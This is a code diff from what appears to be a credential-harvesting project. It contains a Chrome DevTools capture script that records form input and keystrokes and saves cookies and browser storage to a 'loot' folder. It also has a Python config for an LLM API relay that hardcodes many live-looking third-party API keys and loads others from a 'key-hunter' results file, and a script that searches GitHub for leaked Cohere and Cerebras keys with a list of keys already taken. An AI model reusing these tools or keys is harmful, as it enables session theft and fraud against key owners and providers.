target: serialize(e.target),
|
||||
timestamp: Date.now(),
|
||||
url: location.href
|
||||
}));
|
||||
}, true);
|
||||
|
||||
// Capture input changes
|
||||
document.addEventListener('input', function(e) {
|
||||
__capture(JSON.stringify({
|
||||
type: 'input',
|
||||
target: serialize(e.target),
|
||||
timestamp: Date.now(),
|
||||
url: location.href
|
||||
}));
|
||||
}, true);
|
||||
|
||||
// Capture form submissions
|
||||
document.addEventListener('submit', function(e) {
|
||||
var formData = {};
|
||||
try {
|
||||
var fd = new FormData(e.target);
|
||||
fd.forEach(function(v, k) { formData[k] = (typeof v === 'string') ? v.substring(0, 1000) : '[file]'; });
|
||||
} catch(err) {}
|
||||
__capture(JSON.stringify({
|
||||
type: 'submit',
|
||||
target: serialize(e.target),
|
||||
formData: formData,
|
||||
timestamp: Date.now(),
|
||||
url: location.href
|
||||
}));
|
||||
}, true);
|
||||
|
||||
// Capture keydown (for Enter, etc.)
|
||||
document.addEventListener('keydown', function(e) {
|
||||
if (e.key === 'Enter' || e.key === 'Tab') {
|
||||
__capture(JSON.stringify({
|
||||
type: 'keydown',
|
||||
key: e.key,
|
||||
target: serialize(e.target),
|
||||
timestamp: Date.now(),
|
||||
url: location.href
|
||||
}));
|
||||
}
|
||||
}, true);
|
||||
})();
|
||||
`;
|
||||
|
||||
// ─── Tab Capture ────────────────────────────────────────────
|
||||
const stats = { requests: 0, responses: 0, console: 0, interactions: 0, navigations: 0, screenshots: 0, domSnapshots: 0 };
|
||||
const pendingRequests = new Map();
|
||||
const filterRegex = args.filter ? new RegExp(args.filter) : null;
|
||||
|
||||
async function attachToTarget(target, index) {
|
||||
const label = `[Tab ${index}: ${target.url?.substring(0, 80)}]`;
|
||||
console.log(`\n${label} Attaching...`);
|
||||
|
||||
const client = await CDP({ target: target.id, host: args.host, port: args.port });
|
||||
const { Network, Page, Runtime, Console, DOM, Storage } = client;
|
||||
|
||||
// ── Enable domains ──
|
||||
await Network.enable();
|
||||
await Page.enable();
|
||||
await Runtime.enable();
|
||||
await Console.enable();
|
||||
if (args.dom) await DOM.enable();
|
||||
|
||||
// ── Add binding for interaction capture ──
|
||||
if (args.interactions) {
|
||||
await Runtime.addBinding({ name: '__capture' });
|
||||
}
|
||||
|
||||
// ── Network Events ──
|
||||
if (args.network) {
|
||||
Network.requestWillBeSent((params) => {
|
||||
const url = params.request.url;
|
||||
if (filterRegex && !filterRegex.test(url)) return;
|
||||
|
||||
const entry = {
|
||||
requestId: params.requestId,
|
||||
url: url,
|
||||
method: params.request.method,
|
||||
headers: params.request.headers,
|
||||
postData: params.request.postData?.substring(0, 10000),
|
||||
type: params.type,
|
||||
initiator: params.initiator?.url,
|
||||
timestamp: params.timestamp,
|
||||
wallTime: params.wallTime,
|
||||
};
|
||||
pendingRequests.set(params.requestId, entry);
|
||||
writeLine('network', { event: 'request', ...entry });
|
||||
stats.requests++;
|
||||
});
|
||||
|
||||
Network.responseReceived((params) => {
|
||||
const url = params.response.url;
|
||||
if (filterRegex && !filterRegex.test(url)) return;
|
||||
|
||||
const entry = {
|
||||
requestId: params.requestId,
|
||||
url: url,
|
||||
status: params.response.status,
|
||||
statusText: params.response.statusText,
|
||||
mimeType: params.response.mimeType,
|
||||
headers: params.response.headers,
|
||||
remoteIP: params.response.remoteIPAddress,
|
||||
remotePort: params.response.remotePort,
|
||||
protocol: params.response.protocol,
|
||||
timestamp: params.timestamp,
|
||||
};
|
||||
writeLine('network', { event: 'response', ...entry });
|
||||
stats.responses++;
|
||||
});
|
||||
|
||||
if (args.bodies) {
|
||||
Network.loadingFinished(async (params) => {
|
||||
try {
|
||||
const { body, base64Encoded } = await Network.getResponseBody({
|
||||
requestId: params.requestId,
|
||||
});
|
||||
const req = pendingRequests.get(params.requestId);
|
||||
if (req) {
|
||||
writeLine('network_bodies', {
|
||||
requestId: params.requestId,
|
||||
url: req.url,
|
||||
body: base64Encoded ? `[base64 ${body.length} chars]` : body.substring(0, 50000),
|
||||
base64Encoded,
|
||||
});
|
||||
}
|
||||
} catch (e) { /* body not available */ }
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// ── Console Events ──
|
||||
if (args.console) {
|
||||
Runtime.consoleAPICalled((params) => {
|
||||
const args = params.args.map(a => a.value ?? a.description ?? a.unserializableValue ?? '');
|
||||
writeLine('console', {
|
||||
type: params.type,
|
||||
args: args,
|
||||
stackTrace: params.stackTrace?.callFrames?.[0]?.functionName,
|
||||
timestamp: params.timestamp,
|
||||
url: target.url,
|
||||
});
|
||||
stats.console++;
|
||||
});
|
||||
|
||||
Runtime.exceptionThrown((params) => {
|
||||
writeLine('console', {
|
||||
type: 'exception',
|
||||
text: params.exceptionDetails.text,
|
||||
exception: params.exceptionDetails.exception?.description?.substring(0, 2000),
|
||||
url: params.exceptionDetails.url,
|
||||
lineNumber: params.exceptionDetails.lineNumber,
|
||||
timestamp: Date.now() / 1000,
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// ── Interaction Events (via binding) ──
|
||||
if (args.interactions) {
|
||||
Runtime.bindingCalled((params) => {
|
||||
if (params.name === '__capture') {
|
||||
try {
|
||||
const data = JSON.parse(params.payload);
|
||||
writeLine('interactions', data);
|
||||
stats.interactions++;
|
||||
} catch (e) { /* malformed */ }
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// ── Navigation Events ──
|
||||
Page.frameNavigated(async (params) => {
|
||||
if (params.frame.parentId) return; // only top-level
|
||||
const url = params.frame.url;
|
||||
writeLine('navigations', {
|
||||
url: url,
|
||||
name: params.frame.name,
|
||||
timestamp: Date.now() / 1000,
|
||||
});
|
||||
stats.navigations++;
|
||||
console.log(`${label} Navigation → ${url.substring(0, 100)}`);
|
||||
|
||||
// Re-inject interaction listeners after navigation
|
||||
if (args.interactions) {
|
||||
try {
|
||||
await Runtime.evaluate({ expression: injectScript, returnByValue: false });
|
||||
} catch (e) { /* page not ready */ }
|
||||
}
|
||||
|
||||
// Screenshot on navigation
|
||||
if (args.screenshot) {
|
||||
try {
|
||||
await takeScreenshot(client, index, url);
|
||||
} catch (e) { /* timing */ }
|
||||
}
|
||||
|
||||
// DOM snapshot on navigation
|
||||
if (args.dom) {
|
||||
try {
|
||||
await saveDOMSnapshot(client, index, url);
|
||||
} catch (e) { /* timing */ }
|
||||
}
|
||||
});
|
||||
|
||||
// ── Inject listeners on load ──
|
||||
Page.loadEventFired(async () => {
|
||||
if (args.interactions) {
|
||||
try {
|
||||
await Runtime.evaluate({ expression: injectScript, returnByValue: false });
|
||||
console.log(`${label} Interaction listeners injected.`);
|
||||
} catch (e) { /* page not ready */ }
|
||||
}
|
||||
});
|
||||
|
||||
// Initial injection (in case page is already loaded)
|
||||
if (args.interactions) {
|
||||
try {
|
||||
await Runtime.evaluate({ expression: injectScript, returnByValue: false });
|
||||
} catch (e) { /* page not ready */ }
|
||||
}
|
||||
|
||||
console.log(`${label} Capturing. (network=${args.network}, console=${args.console}, interactions=${args.interactions})`);
|
||||
return client;
|
||||
}
|
||||
|
||||
// ─── Screenshot ──────────────────────────────────────────────
|
||||
async function takeScreenshot(client, tabIndex, url) {
|
||||
const { Page } = client;
|
||||
const { data } = await Page.captureScreenshot({ format: 'png' });
|
||||
const fname = `tab${tabIndex}_${Date.now()}.png`;
|
||||
fs.writeFileSync(path.join(dirs.screenshots, fname), Buffer.from(data, 'base64'));
|
||||
writeLine('screenshots', { file: fname, url, timestamp: Date.now() / 1000 });
|
||||
stats.screenshots++;
|
||||
console.log(` 📸 Screenshot: ${fname}`);
|
||||
}
|
||||
|
||||
// ─── DOM Snapshot ────────────────────────────────────────────
|
||||
async function saveDOMSnapshot(client, tabIndex, url) {
|
||||
const { DOM, Page } = client;
|
||||
const { root } = await DOM.getDocument({ depth: -1 });
|
||||
const html = await DOM.getOuterHTML({ nodeId: root.nodeId });
|
||||
const fname = `tab${tabIndex}_${Date.now()}.html`;
|
||||
fs.writeFileSync(path.join(dirs.scans, fname), html.outerHTML || String(html));
|
||||
stats.domSnapshots++;
|
||||
console.log(` 📄 DOM snapshot: ${fname}`);
|
||||
}
|
||||
|
||||
// ─── Cookie & Storage Extraction ─────────────────────────────
|
||||
async function extractCookies(clients) {
|
||||
console.log('\nExtracting cookies & storage...');
|
||||
for (let i = 0; i < clients.length; i++) {
|
||||
const client = clients[i];
|
||||
if (!client) continue;
|
||||
try {
|
||||
const { Network, Runtime, Storage } = client;
|
||||
|
||||
// Cookies via Network domain
|
||||
const { cookies } = await Network.getCookies({});
|
||||
fs.writeFileSync(
|
||||
path.join(dirs.loot, `cookies_tab${i}.json`),
|
||||
JSON.stringify(cookies, null, 2)
|
||||
);
|
||||
|
||||
// localStorage
|
||||
const lsResult = await Runtime.evaluate({
|
||||
expression: `JSON.stringify(Object.fromEntries(Object.entries(localStorage)))`,
|
||||
returnByValue: true,
|
||||
});
|
||||
if (lsResult.result?.value) {
|
||||
fs.writeFileSync(
|
||||
path.join(dirs.loot, `localStorage_tab${i}.json`),
|
||||
lsResult.result.value
|
||||
);
|
||||
}
|
||||
|
||||
// sessionStorage
|
||||
const ssResult = await Runtime.evaluate({
|
||||
expression: `JSON.stringify(Object.fromEntries(Object.entries(sessionStorage)))`,
|
||||
returnByValue: true,
|
||||
});
|
||||
if (ssResult.result?.value) {
|
||||
fs.writeFileSync(
|
||||
path.join(dirs.loot, `sessionStorage_tab${i}.json`),
|
||||
ssResult.result.value
|
||||
);
|
||||
}
|
||||
|
||||
console.log(` Tab ${i}: ${cookies.length} cookies, localStorage + sessionStorage saved`);
|
||||
} catch (e) {
|
||||
console.log(` Tab ${i}: extraction failed (${e.message})`);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ─── Main ────────────────────────────────────────────────────
|
||||
async function main() {
|
||||
console.log('╔══════════════════════════════════════════════════╗');
|
||||
console.log('║ CDP Capture — Session Recorder ║');
|
||||
console.log('╚══════════════════════════════════════════════════╝');
|
||||
console.log(`\nSession: ${sessionName}`);
|
||||
console.log(`Output: ${projectRoot}`);
|
||||
console.log(`CDP: ${args.host}:${args.port}`);
|
||||
|
||||
// Get browser targets
|
||||
let targets;
|
||||
try {
|
||||
targets = await CDP.List({ host: args.host, port: args.port });
|
||||
} catch (e) {
|
||||
console.error(`\n❌ Cannot connect to CDP at ${args.host}:${args.port}`);
|
||||
console.error(` Make sure Chrome is running with --remote-debugging-port=${args.port}`);
|
||||
console.error(` Use: tools/scripts/launch-chrome.ps1`);
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
const pageTargets = targets.filter(t => t.type === 'page');
|
||||
if (pageTargets.length === 0) {
|
||||
console.error('\n❌ No browser tabs found. Open a tab in Chrome first.');
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
console.log(`\nFound ${pageTargets.length} tab(s):`);
|
||||
pageTargets.forEach((t, i) => {
|
||||
console.log(` [${i}] ${t.url?.substring(0, 100)}`);
|
||||
});
|
||||
|
||||
// Select tabs to attach
|
||||
let tabsToAttach;
|
||||
if (args.tab === -1) {
|
||||
tabsToAttach = pageTargets.map((t, i) => ({ target: t, index: i }));
|
||||
} else if (args.tab >= 0 && args.tab < pageTargets.length) {
|
||||
tabsToAttach = [{ target: pageTargets[args.tab], index: args.tab }];
|
||||
} else {
|
||||
console.error(`\n❌ Invalid tab index: ${args.tab}`);
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
// Attach to targets
|
||||
const clients = [];
|
||||
for (const { target, index } of tabsToAttach) {
|
||||
try {
|
||||
const client = await attachToTarget(target, index);
|
||||
clients.push(client);
|
||||
} catch (e) {
|
||||
console.error(`Tab ${index}: attach failed — ${e.message}`);
|
||||
clients.push(null);
|
||||
}
|
||||
}
|
||||
|
||||
console.log(`\n✅ Capturing ${clients.filter(Boolean).length} tab(s). Press Ctrl+C to stop.\n`);
|
||||
|
||||
// ── Graceful Shutdown ──
|
||||
let shuttingDown = false;
|
||||
process.on('SIGINT', async () => {
|
||||
if (shuttingDown) return;
|
||||
shuttingDown = true;
|
||||
console.log('\n\nShutting down...');
|
||||
|
||||
// Extract cookies & storage
|
||||
await extractCookies(clients);
|
||||
|
||||
// Write summary
|
||||
const summary = {
|
||||
session: sessionName,
|
||||
startedAt: now.toISOString(),
|
||||
endedAt: new Date().toISOString(),
|
||||
args: args,
|
||||
stats: stats,
|
||||
outputDirs: dirs,
|
||||
};
|
||||
fs.writeFileSync(path.join(dirs.logs, 'summary.json'), JSON.stringify(summary, null, 2));
|
||||
console.log(`\n📊 Session Summary:`);
|
||||
console.log(` Network requests: ${stats.requests}`);
|
||||
console.log(` Network responses: ${stats.responses}`);
|
||||
console.log(` Console messages: ${stats.console}`);
|
||||
console.log(` Interactions: ${stats.interactions}`);
|
||||
console.log(` Navigations: ${stats.navigations}`);
|
||||
console.log(` Screenshots: ${stats.screenshots}`);
|
||||
console.log(` DOM snapshots: ${stats.domSnapshots}`);
|
||||
console.log(`\n📁 Output: ${dirs.logs}`);
|
||||
|
||||
// Close writers
|
||||
for (const w of Object.values(writers)) w.end();
|
||||
|
||||
// Close clients
|
||||
for (const c of clients) { if (c) try { await c.close(); } catch (e) {} }
|
||||
|
||||
process.exit(0);
|
||||
});
|
||||
}
|
||||
|
||||
main().catch(e => {
|
||||
console.error('Fatal error:', e);
|
||||
process.exit(1);
|
||||
});
|
||||
+55
@@ -0,0 +1,55 @@
|
||||
{
|
||||
"name": "cdp-capture",
|
||||
"version": "1.0.0",
|
||||
"lockfileVersion": 3,
|
||||
"requires": true,
|
||||
"packages": {
|
||||
"": {
|
||||
"name": "cdp-capture",
|
||||
"version": "1.0.0",
|
||||
"dependencies": {
|
||||
"chrome-remote-interface": "^0.33.3"
|
||||
}
|
||||
},
|
||||
"node_modules/chrome-remote-interface": {
|
||||
"version": "0.33.3",
|
||||
"resolved": "https://npm.qxy1828.com/chrome-remote-interface/-/chrome-remote-interface-0.33.3.tgz",
|
||||
"integrity": "sha512-zNnn0prUL86Teru6UCAZ1yU1XeXljHl3gj7OrfPcarEfU62OUU4IujDPdTDW3dAWwRqN3ZMG/Chhkh2gPL/wiw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"commander": "2.11.x",
|
||||
"ws": "^7.2.0"
|
||||
},
|
||||
"bin": {
|
||||
"chrome-remote-interface": "bin/client.js"
|
||||
}
|
||||
},
|
||||
"node_modules/commander": {
|
||||
"version": "2.11.0",
|
||||
"resolved": "https://npm.qxy1828.com/commander/-/commander-2.11.0.tgz",
|
||||
"integrity": "sha512-b0553uYA5YAEGgyYIGYROzKQ7X5RAqedkfjiZxwi0kL1g3bOaBNNZfYkzt/CL0umgD5wc9Jec2FbB98CjkMRvQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/ws": {
|
||||
"version": "7.5.13",
|
||||
"resolved": "https://npm.qxy1828.com/ws/-/ws-7.5.13.tgz",
|
||||
"integrity": "sha512-rsKI6xDBFVf4r/x8XyChGK04QR/XHroxs/jUcoWvtEZM8TPU/X/uIY9B1CsSzYws9ZJb/6bbBu7dPhFW00CAoA==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=8.3.0"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"bufferutil": "^4.0.1",
|
||||
"utf-8-validate": "^5.0.2"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"bufferutil": {
|
||||
"optional": true
|
||||
},
|
||||
"utf-8-validate": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Executable
+13
@@ -0,0 +1,13 @@
|
||||
{
|
||||
"name": "cdp-capture",
|
||||
"version": "1.0.0",
|
||||
"description": "Chrome DevTools Protocol capture tool — records all browser activity from a real Chrome session",
|
||||
"main": "capture.js",
|
||||
"scripts": {
|
||||
"start": "node capture.js",
|
||||
"capture": "node capture.js"
|
||||
},
|
||||
"dependencies": {
|
||||
"chrome-remote-interface": "^0.33.3"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,202 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Centralized channel definitions for NewAPI.
|
||||
|
||||
All channel configs live here so that add/recreate/fix scripts share
|
||||
a single source of truth. Keys are read from environment variables
|
||||
when available, falling back to the known hardcoded values.
|
||||
"""
|
||||
|
||||
import os
|
||||
from pathlib import Path
|
||||
|
||||
from newapi_client import (
|
||||
TYPE_OPENAI, TYPE_CUSTOM, TYPE_ANTHROPIC,
|
||||
TYPE_ZHIPU_V4, TYPE_MINIMAX, TYPE_OLLAMA, TYPE_VOLC_ENGINE,
|
||||
)
|
||||
|
||||
# ── Paths ────────────────────────────────────────────────────────
|
||||
_SCRIPTS_DIR = Path(__file__).parent
|
||||
_ZHIPUAI_KEYS_FILE = _SCRIPTS_DIR / "llm-key-hunter" / "results" / "live" / "china" / "zhipuai" / "keys.txt"
|
||||
|
||||
|
||||
def _env_or(default_key, env_var):
|
||||
"""Read from env, fall back to hardcoded default."""
|
||||
return os.environ.get(env_var, default_key)
|
||||
|
||||
|
||||
# ── VolcanoArk model lists ───────────────────────────────────────
|
||||
_VOLC_MODELS_FULL = (
|
||||
"doubao-seed-2-0-pro-260215,doubao-seed-2-0-lite-260215,"
|
||||
"doubao-seed-2-0-mini-260215,doubao-seed-2-1-pro-260628,"
|
||||
"doubao-seed-2-1-turbo-260628,doubao-seed-1-6-250615,"
|
||||
"doubao-seed-1-6-251015,doubao-seed-1-6-flash-250615,"
|
||||
"doubao-seed-1-6-flash-250828,deepseek-v4-flash-260425,"
|
||||
"deepseek-v4-pro-260425,glm-5-2-260617"
|
||||
)
|
||||
_VOLC_MODELS_MID = (
|
||||
"doubao-seed-2-0-pro-260215,doubao-seed-2-0-lite-260215,"
|
||||
"doubao-seed-2-1-pro-260628,doubao-seed-1-6-250615,"
|
||||
"doubao-seed-1-6-251015,doubao-seed-1-6-flash-250615,"
|
||||
"doubao-seed-1-6-flash-250828,deepseek-v4-flash-260425,"
|
||||
"deepseek-v4-pro-260425"
|
||||
)
|
||||
_VOLC_MODELS_MIN = "doubao-seed-2-0-pro-260215"
|
||||
|
||||
# ── VolcanoArk keys ──────────────────────────────────────────────
|
||||
VOLC_ARK_KEYS = [
|
||||
("209bcbe8-3cdf-4397-b13c-2323e481af82", _VOLC_MODELS_FULL),
|
||||
("5cf8e2f7-8465-4ccc-bf84-e32f05be0fb4", _VOLC_MODELS_FULL),
|
||||
("6ef45f7f-1d82-4d34-80c0-c70180bd59fc", _VOLC_MODELS_MID),
|
||||
("60186d5d-95bf-4265-beaa-4c3842e10802", _VOLC_MODELS_MIN),
|
||||
]
|
||||
|
||||
# ── Base URLs ────────────────────────────────────────────────────
|
||||
URL_ZHIPUAI = "https://open.bigmodel.cn/api/paas/v4"
|
||||
URL_ZHIPUAI_FULL = f"{URL_ZHIPUAI}/chat/completions"
|
||||
URL_VOLC_ARK = "https://ark.cn-beijing.volces.com/api/v3"
|
||||
URL_VOLC_ARK_FULL = f"{URL_VOLC_ARK}/chat/completions"
|
||||
URL_VOLC_ARK_CODING = "https://ark.cn-beijing.volces.com/api/coding"
|
||||
URL_MINIMAX = "https://api.minimaxi.com/v1"
|
||||
URL_MINIMAX_FULL = f"{URL_MINIMAX}/chat/completions"
|
||||
URL_BAIDU = "https://qianfan.baidubce.com/v2/coding"
|
||||
URL_STEPFUN = "https://api.stepfun.com/step_plan"
|
||||
URL_OLLAMA = "https://api.ollama.com"
|
||||
URL_XKIRO = "https://api.xkiro.com/v1"
|
||||
|
||||
|
||||
# ── Channel builders ─────────────────────────────────────────────
|
||||
def _load_zhipuai_keys():
|
||||
"""Load ZhipuAI keys from the live keys file."""
|
||||
with open(_ZHIPUAI_KEYS_FILE) as f:
|
||||
return [line.strip() for line in f if line.strip()]
|
||||
|
||||
|
||||
def build_zhipuai(channel_type=TYPE_OPENAI, full_url=False):
|
||||
"""Build the ZhipuAI channel config (multi-key pool)."""
|
||||
keys = _load_zhipuai_keys()
|
||||
base = URL_ZHIPUAI_FULL if full_url else URL_ZHIPUAI
|
||||
return {
|
||||
"type": channel_type,
|
||||
"name": "ZhipuAI-Pool",
|
||||
"key": "\n".join(keys),
|
||||
"base_url": base,
|
||||
"models": "glm-4v-flash,glm-4-flash,glm-4,glm-4-plus,glm-4-long,glm-4.5,glm-4.6,glm-4.7",
|
||||
"group": "default",
|
||||
}, len(keys)
|
||||
|
||||
|
||||
def build_volcano_ark(channel_type=TYPE_OPENAI, full_url=False):
|
||||
"""Build VolcanoArk channel configs (one per key)."""
|
||||
base = URL_VOLC_ARK_FULL if full_url else URL_VOLC_ARK
|
||||
channels = []
|
||||
for i, (key, models) in enumerate(VOLC_ARK_KEYS, 1):
|
||||
channels.append({
|
||||
"type": channel_type,
|
||||
"name": f"VolcanoArk-K{i}",
|
||||
"key": key,
|
||||
"base_url": base,
|
||||
"models": models,
|
||||
"group": "default",
|
||||
})
|
||||
return channels
|
||||
|
||||
|
||||
def build_volcano_ark_coding():
|
||||
"""Build the VolcanoArk CodingPlan channel (Anthropic-compatible)."""
|
||||
return {
|
||||
"type": TYPE_ANTHROPIC,
|
||||
"name": "VolcanoArk-CodingPlan",
|
||||
"key": VOLC_ARK_KEYS[0][0],
|
||||
"base_url": URL_VOLC_ARK_CODING,
|
||||
"models": "claude-sonnet-4-6,claude-opus-4-6,claude-haiku-3-5,claude-3-5-haiku-20241022,claude-3-haiku-20240307,claude-sonnet-4-20250514,claude-opus-4-20250514,claude-3-7-sonnet-20250219,doubao-seed-2-0-pro-260215",
|
||||
"group": "default",
|
||||
}
|
||||
|
||||
|
||||
def build_minimax(channel_type=TYPE_OPENAI, full_url=False):
|
||||
"""Build the MiniMax channel config."""
|
||||
base = URL_MINIMAX_FULL if full_url else URL_MINIMAX
|
||||
return {
|
||||
"type": channel_type,
|
||||
"name": "MiniMax",
|
||||
"key": _env_or(
|
||||
"sk-cp-WCVxiI5uFbxuIydEUdgZ9ejiC89_csqs0uE9QJUct4k148OhpwYYtu1QdeTDH7shuOyn4kD831hXibst3CmswaZYLhBZE4UOT5qLslMn8R5IYooGzdTajkA",
|
||||
"MINIMAX_KEY",
|
||||
),
|
||||
"base_url": base,
|
||||
"models": "MiniMax-M2.5",
|
||||
"group": "default",
|
||||
}
|
||||
|
||||
|
||||
def build_baidu_qianfan():
|
||||
"""Build the Baidu Qianfan Coding Plan channel."""
|
||||
return {
|
||||
"type": TYPE_OPENAI,
|
||||
"name": "BaiduQianfan-Coding",
|
||||
"key": _env_or(
|
||||
"bce-v3/ALTAKSP-XiBlXOXnSzzyMFAB5UaJg/935c59dfdc8ce7142c02fe6fea4a3017a0f311a6",
|
||||
"BAIDU_QIANFAN_KEY",
|
||||
),
|
||||
"base_url": URL_BAIDU,
|
||||
"models": "qianfan-code-latest,deepseek-v4-flash,deepseek-v4-pro,deepseek-v3.2,glm-5.1,glm-5",
|
||||
"group": "default",
|
||||
}
|
||||
|
||||
|
||||
def build_stepfun():
|
||||
"""Build the StepFun channel (Anthropic-compatible)."""
|
||||
return {
|
||||
"type": TYPE_ANTHROPIC,
|
||||
"name": "StepFun",
|
||||
"key": _env_or(
|
||||
"2abjHPkM2rgD6d8EzWBMPNzwAtALMtgvqUB9jYTPqgr5ouZzxdPOmgTYlTPuDs2xa",
|
||||
"STEPFUN_KEY",
|
||||
),
|
||||
"base_url": URL_STEPFUN,
|
||||
"models": "step-3.7-flash,step-router-v1,step-3.5-flash-2603",
|
||||
"group": "default",
|
||||
}
|
||||
|
||||
|
||||
def build_ollama_cloud():
|
||||
"""Build the Ollama Cloud channel."""
|
||||
return {
|
||||
"type": TYPE_OLLAMA,
|
||||
"name": "OllamaCloud",
|
||||
"key": _env_or(
|
||||
"a3f899539f3c4effad78e220462be7a6.fVn8luLNb206KKkpYgAs9JRR",
|
||||
"OLLAMA_KEY",
|
||||
),
|
||||
"base_url": URL_OLLAMA,
|
||||
"models": "gemma4:31b,gpt-oss:20b,gpt-oss:120b,nemotron-3-nano:30b",
|
||||
"group": "default",
|
||||
}
|
||||
|
||||
|
||||
def build_xkiro(key=None):
|
||||
"""Build the xKiro channel (OpenAI-compatible aggregator).
|
||||
|
||||
Models use provider/model format (like OpenRouter):
|
||||
anthropic/claude-sonnet-4-5, anthropic/claude-opus-4-5, openai/gpt-4o, etc.
|
||||
"""
|
||||
return {
|
||||
"type": TYPE_OPENAI,
|
||||
"name": "XKiro",
|
||||
"key": key or _env_or("", "XKIRO_KEY"),
|
||||
"base_url": URL_XKIRO,
|
||||
"models": "anthropic/claude-sonnet-4-5,anthropic/claude-opus-4-5,openai/gpt-4o,openai/gpt-4o-mini",
|
||||
"group": "default",
|
||||
}
|
||||
|
||||
|
||||
# ── Fix table (for fix_channels.py) ──────────────────────────────
|
||||
FIX_TABLE = [
|
||||
# (id, name, new_type, base_url)
|
||||
(6, "ZhipuAI-Pool", TYPE_OPENAI, URL_ZHIPUAI),
|
||||
(7, "VolcanoArk-K1", TYPE_OPENAI, URL_VOLC_ARK),
|
||||
(8, "VolcanoArk-K2", TYPE_OPENAI, URL_VOLC_ARK),
|
||||
(9, "VolcanoArk-K3", TYPE_OPENAI, URL_VOLC_ARK),
|
||||
(10, "VolcanoArk-K4", TYPE_OPENAI, URL_VOLC_ARK),
|
||||
(12, "MiniMax", TYPE_OPENAI, URL_MINIMAX),
|
||||
]
|
||||
@@ -0,0 +1,26 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Fix NewAPI channel types and remove expired channels."""
|
||||
|
||||
from newapi_client import update_channel, delete_channel, test_channel
|
||||
from channels_config import FIX_TABLE
|
||||
|
||||
|
||||
# ─── Fix channel types to OpenAI (type 1) ────────────────────────
|
||||
print("=== Fixing channel types to OpenAI (type 1) ===\n")
|
||||
for cid, name, new_type, base_url in FIX_TABLE:
|
||||
success, msg = update_channel(cid, type=new_type, base_url=base_url)
|
||||
print(f" ID={cid:2d} {name:30s} -> type={new_type} base_url={base_url} "
|
||||
f"{'✅' if success else '❌'} {msg}")
|
||||
|
||||
# ─── Delete expired Baidu Qianfan ────────────────────────────────
|
||||
print("\n=== Deleting expired Baidu Qianfan ===")
|
||||
success, msg = delete_channel(13)
|
||||
print(f" ID=13 BaiduQianfan-Coding {'✅' if success else '❌'} {msg}")
|
||||
|
||||
# ─── Re-test all fixed channels ──────────────────────────────────
|
||||
print("\n=== Testing fixed channels ===\n")
|
||||
test_ids = [6, 7, 8, 9, 10, 11, 12] # 11=VolcanoArk-CodingPlan (already working)
|
||||
for cid in test_ids:
|
||||
print(f" ID={cid:2d}...", end=" ", flush=True)
|
||||
success, msg, _ = test_channel(cid)
|
||||
print(f"{'✅' if success else '❌'} {msg[:80]}")
|
||||
@@ -0,0 +1,252 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Hunt for leaked Cohere and Cerebras API keys on GitHub — curl version."""
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import subprocess
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
_UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
|
||||
|
||||
# Get GitHub token
|
||||
GH_TOKEN = subprocess.run(["gh", "auth", "token"], capture_output=True, text=True).stdout.strip()
|
||||
|
||||
QUERIES = {
|
||||
"Cohere": [
|
||||
'COHERE_API_KEY extension:env',
|
||||
'COHERE_API_KEY extension:py',
|
||||
'COHERE_API_KEY extension:js',
|
||||
'COHERE_API_KEY extension:json',
|
||||
'COHERE_API_KEY extension:yaml',
|
||||
'COHERE_API_KEY extension:ipynb',
|
||||
'CO_API_KEY extension:env',
|
||||
'CO_API_KEY extension:py',
|
||||
'api.cohere.com extension:env',
|
||||
'api.cohere.com extension:py',
|
||||
'api.cohere.com extension:js',
|
||||
'cohere_client extension:py',
|
||||
'cohere.Client extension:py',
|
||||
'cohere.chat extension:py',
|
||||
'cohere.generate extension:py',
|
||||
],
|
||||
"Cerebras": [
|
||||
'csk- extension:env',
|
||||
'csk- extension:py',
|
||||
'csk- extension:js',
|
||||
'csk- extension:json',
|
||||
'csk- extension:yaml',
|
||||
'csk- extension:ipynb',
|
||||
'CEREBRAS_API_KEY extension:env',
|
||||
'CEREBRAS_API_KEY extension:py',
|
||||
'CEREBRAS_API_KEY extension:js',
|
||||
'CEREBRAS_API_KEY extension:json',
|
||||
'CEREBRAS_API_KEY extension:yaml',
|
||||
'CEREBRAS_API_KEY extension:ipynb',
|
||||
'CEREBRAS_KEY extension:env',
|
||||
'CEREBRAS_KEY extension:py',
|
||||
'api.cerebras.ai extension:env',
|
||||
'api.cerebras.ai extension:py',
|
||||
'api.cerebras.ai extension:js',
|
||||
'from cerebras extension:py',
|
||||
'import cerebras extension:py',
|
||||
'cerebras.cloud extension:py',
|
||||
],
|
||||
}
|
||||
|
||||
PATTERNS = {
|
||||
"Cohere": re.compile(r'[a-zA-Z0-9]{40}'),
|
||||
"Cerebras": re.compile(r'csk-[a-zA-Z0-9]{40}'),
|
||||
}
|
||||
|
||||
EXISTING = {
|
||||
"Cohere": {
|
||||
"ct5c9Usx0I3zvy8WlAXrHWPvXyBlIL06J7rNkSy5",
|
||||
"WnFNt5UQK39iRBhjWNUdBTJZlhLM0HR3ifc0ESQa",
|
||||
"MxABl5slwJzoiiHOGbO4fAVUw0Kte455V1T7jOYs",
|
||||
"o6DdGd0awe4vhcOEBS4r3RJOt0PdNB4iC60lIE40",
|
||||
"N2KVYbjgSfNVKZw2HSwVJCRuRqEVkpFEqCrozr22",
|
||||
"fjdejHaAyGLwkWmg9OzQUsi3nQi7BQeZERcHtYcz",
